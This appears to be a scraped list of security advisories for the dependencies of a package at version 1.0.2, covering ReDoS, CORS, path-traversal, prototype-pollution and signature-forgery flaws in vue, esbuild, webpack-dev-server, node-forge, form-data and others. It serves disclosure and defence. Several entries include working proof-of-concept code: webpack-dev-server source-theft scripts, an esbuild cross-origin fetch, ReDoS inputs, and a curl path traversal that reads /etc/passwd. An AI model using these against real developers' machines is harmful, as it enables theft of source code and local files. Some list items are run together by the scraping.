All the vulnerabilities related to the version 1.0.2 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.
esbuild enables any website to send any requests to the development server and read the response
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
Attack scenario:
http://malicious.example.com).fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:8000/main.js.In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
/index.html: normally you have a script tag here/assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files/esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
npm inpm run watchfetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.Users using the serve feature may get the source code stolen by malicious websites.
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Uncontrolled resource consumption in braces
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
ReDOS vulnerabities: multiple grammars
The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.
If are you are using Highlight.js to highlight user-provided data you are possibly vulnerable. On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).
This is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable. If you are using highlightAuto to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library require('highlight.js/lib/common') as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js
All versions prior to 10.4.1 are vulnerable, including version 9.18.5.
Grammars with exponential backtracking issues:
And of course any aliases of those languages have the same issue. ie: hpp is no safer than cpp.
Grammars with polynomial backtracking issues:
And again: any aliases of those languages have the same issue. ie: ruby and rb share the same ruby issues.
If you have any questions or comments about this advisory:
Uncontrolled Resource Consumption in markdown-it
Special patterns with length > 50K chars can slow down parser significantly.
const md = require('markdown-it')();
md.render(`x ${' '.repeat(150000)} x \nx`);
Upgrade to v12.3.2+
No.
Fix + test sample: https://github.com/markdown-it/markdown-it/commit/ffc49ab46b5b751cd2be0aabb146f2ef84986101
webpack-dev-server users' source code may be stolen when they access a malicious web site
Source code may be stolen when you access a malicious web site.
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
npm inpx webpack-dev-serverhttps://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/The script in the POC site is:
let moduleList
const onHandlerSet = (handler) => {
console.log('h', handler)
moduleList = handler.require.m
}
const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
callback((handler) => {
onHandlerSet(handler)
})
originalArrayForEach.call(this, callback, thisArg)
Array.prototype.forEach = originalArrayForEach
}
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
})
document.head.appendChild(script)
This script uses the function generated by renderRequire.
// The require function
function __webpack_require__(moduleId) {
// Check if module is in cache
var cachedModule = __webpack_module_cache__[moduleId];
if (cachedModule !== undefined) {
return cachedModule.exports;
}
// Create a new module (and put it into the cache)
var module = __webpack_module_cache__[moduleId] = {
// no module.id needed
// no module.loaded needed
exports: {}
};
// Execute the module function
var execOptions = {
id: moduleId,
module: module,
factory: __webpack_modules__[moduleId],
require: __webpack_require__
};
__webpack_require__.i.forEach(function(handler) {
handler(execOptions);
});
module = execOptions.module;
execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
// Return the exports of the module
return module.exports;
}
Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.
This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.
<details> <summary>Old content</summary>Source code may be stolen when you use output.iife: false and access a malicious web site.
When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.
I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.
npm inpx webpack-dev-serverhttps://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/src/index.js and other scripts loaded.The script in the POC site is:
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
for (const module in window.__webpack_modules__) {
console.log(`${module}:`, window.__webpack_modules__[module].toString())
}
})
document.head.appendChild(script)
This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.
webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser
Source code may be stolen when you access a malicious web site with non-Chromium based browser.
The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.
related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.
This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.
npm inpx webpack-dev-serverhttp://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)src/index.js in the extracted directorysrc/index.jsThe script in the POC site is:
window.webpackHotUpdate = (...args) => {
console.log(...args);
for (i in args[1]) {
document.body.innerText = args[1][i].toString() + document.body.innerText
console.log(args[1][i])
}
}
let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
console.log(event.data);
if (event.data.match('"type":"ok"')) {
s = document.createElement('script');
s.src = `${target}${file}.${currentHash2}.hot-update.js`;
document.body.appendChild(s)
}
r = event.data.match(/"([0-9a-f]{20})"/);
if (r !== null) {
currentHash2 = currentHash;
currentHash = r[1];
console.log(currentHash, currentHash2);
}
}
This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
ip SSRF improper categorization in isPublic
The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code is not properly checking DigestInfo for a proper ASN.1 structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.
The issue has been addressed in node-forge 1.3.0.
If you have any questions or comments about this advisory:
Prototype Pollution in node-forge debug API.
The forge.debug API had a potential prototype pollution issue if called with untrusted input. The API was only used for internal debug purposes in a safe way and never documented or advertised. It is suspected that uses of this API, if any exist, would likely not have used untrusted inputs in a vulnerable way.
The forge.debug API and related functions were removed in 1.0.0.
Don't use the forge.debug API directly or indirectly with untrusted input.
If you have any questions or comments about this advisory:
Open Redirect in node-forge
parseUrl functionality in node-forge mishandles certain uses of backslash such as https:/\/\/\ and interprets the URI as a relative path.
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.
The issue has been addressed in node-forge 1.3.0.
For more information, please see "Bleichenbacher's RSA signature forgery based on implementation error" by Hal Finney.
If you have any questions or comments about this advisory:
URL parsing in node-forge could lead to undesired behavior.
The regex used for the forge.util.parseUrl API would not properly parse certain inputs resulting in a parsed data structure that could lead to undesired behavior.
forge.util.parseUrl and other very old related URL APIs were removed in 1.0.0 in favor of letting applications use the more modern WHATWG URL Standard API.
Ensure code does not directly or indirectly call forge.util.parseUrl with untrusted input.
If you have any questions or comments about this advisory:
Improper Verification of Cryptographic Signature in node-forge
RSA PKCS#1 v1.5 signature verification code does not check for tailing garbage bytes after decoding a DigestInfo ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.
The issue has been addressed in node-forge 1.3.0.
For more information, please see "Bleichenbacher's RSA signature forgery based on implementation error" by Hal Finney.
If you have any questions or comments about this advisory:
Denial of service in http-proxy-middleware
Versions of the package http-proxy-middleware before 2.0.7, from 3.0.0 and before 3.0.3 are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.
Path traversal in webpack-dev-middleware
The webpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine.
The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory memfs filesystem. If writeToDisk configuration option is set to true, the physical filesystem is used: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21
The getFilenameFromUrl method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the unsecaped path suffix is appended to the outputPath: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82 As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use %2e and %2f sequences to perform path traversal attack.
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
The developers using webpack-dev-server or webpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer's machine and exfiltrate the content (e.g. password, configuration files, private source code, ...).
If the development server is listening on a public IP address (or 0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).
If the server allows access from third-party domains (CORS, Allow-Access-Origin: * ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.
The URL should be unescaped and normalized before any further processing.
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
vue-template-compiler vulnerable to client-side Cross-Site Scripting (XSS)
A vulnerability has been discovered in vue-template-compiler, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as Object.prototype.staticClass or Object.prototype.staticStyle to execute arbitrary JavaScript code. Vue 2 has reached End-of-Life. This vulnerability has been patched in Vue 3.
kangax html-minifier REDoS vulnerability
A Regular Expression Denial of Service (ReDoS) flaw was found in kangax html-minifier 4.0.0 because of the reCustomIgnore regular expression.
Server-Side Request Forgery in Request
The request package through 2.88.2 for Node.js and the @cypress/request package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: The request package is no longer supported by the maintainer.
form-data uses unsafe random function in form-data for choosing boundary
form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:
Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.
This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.
The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347
An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)
PoC here: https://github.com/benweissmann/CVE-2025-7783-poc
Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).
For an application to be vulnerable, it must:
form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.
tough-cookie Prototype Pollution vulnerability
Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.
min-document vulnerable to prototype pollution
A vulnerability exists in the 'min-document' package prior to version 2.19.0, stemming from improper handling of namespace operations in the removeAttributeNS method. By processing malicious input involving the proto property, an attacker can manipulate the prototype chain of JavaScript objects, leading to denial of service or arbitrary code execution. This issue arises from insufficient validation of attribute namespace removal operations, allowing unintended modification of critical object prototypes. The vulnerability remains unaddressed in the latest available version.